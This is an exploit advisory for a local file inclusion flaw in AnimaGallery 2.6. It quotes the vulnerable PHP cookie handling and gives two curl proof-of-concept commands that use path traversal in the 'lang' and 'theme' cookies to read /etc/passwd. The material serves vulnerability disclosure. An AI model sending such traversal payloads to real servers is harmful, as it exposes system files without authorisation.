AnimaGallery 2.6 (theme and lang cookie parameter) Local File Include Vulnerability

# Exploit Title: AnimaGallery 2.6 (theme and lang cookie parameter) Local File Include Vulnerability
# Date: 2015/06/07
# Vendor Homepage: http://dg.no.sapo.pt/
# Software Link:http://dg.no.sapo.pt/AnimaGallery2.6.zip
# Version: 2.6
# Tested on: Centos 6.5,php 5.3.2,magic_quotes_gpc=off # Category: webapps

* Description

func.php
line 21 - 22:

include('themes/'.$THEME.'/templates.php');
include('languages/'.$LANG.'.
php');

$lang and $THEME parameter from import_theme_lang() function.

function import_theme_lang()
{
        $THEME = DEFAULT_THEME;
        if(isset($_COOKIE['theme']) AND !THEME_LOCKED)
                $THEME = $_COOKIE['theme'];  <--  Not Taint Checking

        $LANG = DEFAULT_LANG;
        if(isset($_COOKIE['lang']) AND @file_exists('languages/'.$_COOKIE['lang'].'.php') AND !LANG_LOCKED)
                $LANG = $_COOKIE['lang'];     <--- Not Taint Checking

        return(array($THEME, $LANG));
}


* Proof of Concept

curl "http://192.168.1.101/AnimaGallery/?load=adminboard&mode=1" --cookie "lang=../../../../../../../etc/passwd"

curl "http://192.168.1.101/AnimaGallery/?load=adminboard&mode=1" --cookie "theme=../../../../../../../etc/passwd"